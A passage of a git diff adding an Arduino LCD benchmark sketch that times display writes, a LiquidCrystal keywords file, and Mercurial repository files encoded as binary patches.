}, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 } +}; + +/*! + @typedef t_benchmarkOp + @abstract Function pointer associated to each benchmark. + */ +typedef long (*t_benchmarkOp)( uint8_t ); + +/*! + @typedef t_timeBenchMarks + @abstract Structure to store results of the execution time of the benchmark. + @field benchmark: function pointer of the benchmark to be executed. + */ +typedef struct +{ + t_benchmarkOp benchmark; /**< Function pointer associated to the benchmark */ + long benchTime; /**< execution time for benchmark 1 in useconds */ + uint16_t numWrites; /**< Number of write cycles of the benchmark */ +} t_benchMarks; + + +// Main LCD objects +// ---------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2); +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +#endif + +#ifdef _LCD_SR1_ +LiquidCrystal_SR1 lcd(2); +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +#endif + +// benchMarks definitions +// ---------------------- +extern long benchmark1 ( uint8_t ); +extern long benchmark2 ( uint8_t ); +extern long benchmark3 ( uint8_t ); +extern long benchmark4 ( uint8_t ); + +//! @brief benchmark structure that will be initialised and +static t_benchMarks myBenchMarks[NUM_BENCHMARKS] = +{ + { benchmark1, 0, (LCD_ROWS * LCD_COLUMNS) + 2 }, + { benchmark2, 0, LCD_ROWS * LCD_COLUMNS * 6 * 2 }, + { benchmark3, 0, 40 + 2 }, + { benchmark4, 0, 40 + 2 } +}; + +// Static methods +// -------------- +/*! + @function freeMemory + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @return Free RAM available, -1 for non AVR microcontrollers + */ +static int freeMemory ( void ) +{ +#ifdef __AVR__ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +#else + return -1; +#endif + +} + +/*! + @function LCDSetup + @abstract Initialise LCD associated pins and initialise the LCD object + with its geometry. + @discussion Initialise the LCD object and make it ready for operation by + setting up the LCD geometry, i.e. LCD character size. Initialise + and configure all associated control pins such as backlight and + contras pin if necessary. + + @param[in] charBitmapSize: contrasts pin associated to the contrast (should be an + analog pin). 0 if contrast pin is not required. + @param[in] backlight: backlight pin associated to the LCD backlight. + @param[in] cols: number of LCD columns normal values (1, 2, 4) + @param[in] rows: number of LCD rows normal values (8, 16, 20) + */ +static void LCDSetup ( uint8_t contrasPin, uint8_t backlight, uint8_t cols, uint8_t rows ) +{ + // If our setup uses a PWM to control the backlight, configure it + // -------------------------------------------------------------- + if ( contrasPin != 0 ) + { + pinMode ( contrasPin, OUTPUT ); + analogWrite ( contrasPin, CONTRAST ); + } + // Setup backlight pin + if ( backlight != 0 ){ + pinMode(backlight, OUTPUT); + digitalWrite(backlight, HIGH); + } + + lcd.begin ( cols, rows ); + lcd.clear ( ); +} + + +/*! + @function LCDLoadCharacters + @abstract Loads onto the LCD the character set for the benchmark. + @discussion Loads onto the LCD the character set that will be used throughout + the benchmark. + + @param[in] charBitmapSize: number of characters to load to the LCD. + */ +static void LCDLoadCharacters ( int numChars ) +{ + // Load custom character set into CGRAM + for ( int i = 0; i < numChars; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + + +// Benchmarks +// ---------- +/*! + @function benchmark1 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + memory. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark1 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + lcd.print (char(5)); + } + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark2 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory one line pixel at the time + @discussion Writes to all the positions of the LCD a fixed pattern from + memory each patern take 6 write operations to the LCD. For every + character it writes it sets the cursor possition. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS * 6. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark2 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j, k; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + + for ( i = 0; i < LCD_ROWS; i++ ) + { + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + for ( k = 0; k <= 5; k++ ) + { + lcd.setCursor ( j, i ); + lcd.print (char(k)); + } + } + } + totalTime += ( micros() - time ); + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark3 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + RAM. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark3 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( "####################" ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark4 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + flash. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark4 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( F("####################") ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +// Main system setup +// ----------------- +void setup () +{ + Serial.begin ( 57600 ); +#ifdef __AVR__ + Serial.print ( F("Free mem: ") ); + Serial.println ( freeMemory () ); +#endif + + // Initialise the LCD + LCDSetup ( CONTRAST_PIN, BACKLIGHT_PIN, LCD_COLUMNS, LCD_ROWS ); + LCDLoadCharacters ( (sizeof(charBitmap ) / sizeof (charBitmap[0])) ); +} + + +// Main system loop +// ---------------- +void loop () +{ + int i; + + lcd.setCursor ( 0, 0 ); + lcd.clear ( ); + + // Run benchmark + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + myBenchMarks[i].benchTime = + (myBenchMarks[i].benchmark (ITERATIONS))/ITERATIONS; + Serial.println (i); + } + + float fAllWrites=0.0; + + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + Serial.print ( F("benchmark") ); + Serial.print ( i ); + Serial.print ( F(": ") ); + Serial.print ( myBenchMarks[i].benchTime ); + Serial.print ( F(" us - ") ); + Serial.print ( F(" write: ") ); + Serial.print ( myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites ); + Serial.println ( F(" us") ); + fAllWrites += myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites; + } + Serial.print( F("avg. write: ") ); + Serial.println( fAllWrites / (float)NUM_BENCHMARKS ); + } \ No newline at end of file diff --git a/libraries/LiquidCrystal/keywords.txt b/libraries/LiquidCrystal/keywords.txt new file mode 100644 index 0000000..c13f5ae --- /dev/null +++ b/libraries/LiquidCrystal/keywords.txt @@ -0,0 +1,52 @@ +########################################### +# Syntax Coloring Map For LiquidCrystal_I2C +########################################### + +########################################### +# Datatypes (KEYWORD1) +########################################### + +LiquidCrystal_SR KEYWORD1 +LiquidCrystal_I2C KEYWORD1 +LiquidCrystal_SR3W KEYWORD1 +LiquidCrystal KEYWORD1 +LCD KEYWORD1 + +########################################### +# Methods and Functions (KEYWORD2) +########################################### +begin KEYWORD2 +clear KEYWORD2 +home KEYWORD2 +noDisplay KEYWORD2 +display KEYWORD2 +noBlink KEYWORD2 +blink KEYWORD2 +noCursor KEYWORD2 +cursor KEYWORD2 +scrollDisplayLeft KEYWORD2 +scrollDisplayRight KEYWORD2 +leftToRight KEYWORD2 +rightToLeft KEYWORD2 +moveCursorLeft KEYWORD2 +moveCursorRight KEYWORD2 +autoscroll KEYWORD2 +noAutoscroll KEYWORD2 +createChar KEYWORD2 +setCursor KEYWORD2 +print KEYWORD2 +write KEYWORD2 +println KEYWORD2 +backlight KEYWORD2 +noBacklight KEYWORD2 +on KEYWORD2 +off KEYWORD2 +setBacklightPin KEYWORD2 +setBacklight KEYWORD2 +########################################### +# Constants (LITERAL1) +########################################### +POSITIVE LITERAL1 +NEGATIVE LITERAL1 +BACKLIGHT_ON LITERAL1 +BACKLIGHT_OFF LITERAL1 \ No newline at end of file diff --git a/libraries/NewliquidCrystal/.hg/00changelog.i b/libraries/NewliquidCrystal/.hg/00changelog.i new file mode 100644 index 0000000000000000000000000000000000000000..d3a8311050e54c57c5be7cfe169e60a95768812c GIT binary patch literal 57 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 gV*VxCL+eBMco;sVCFq(s-B3>NO{=LuZ%l}^A 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 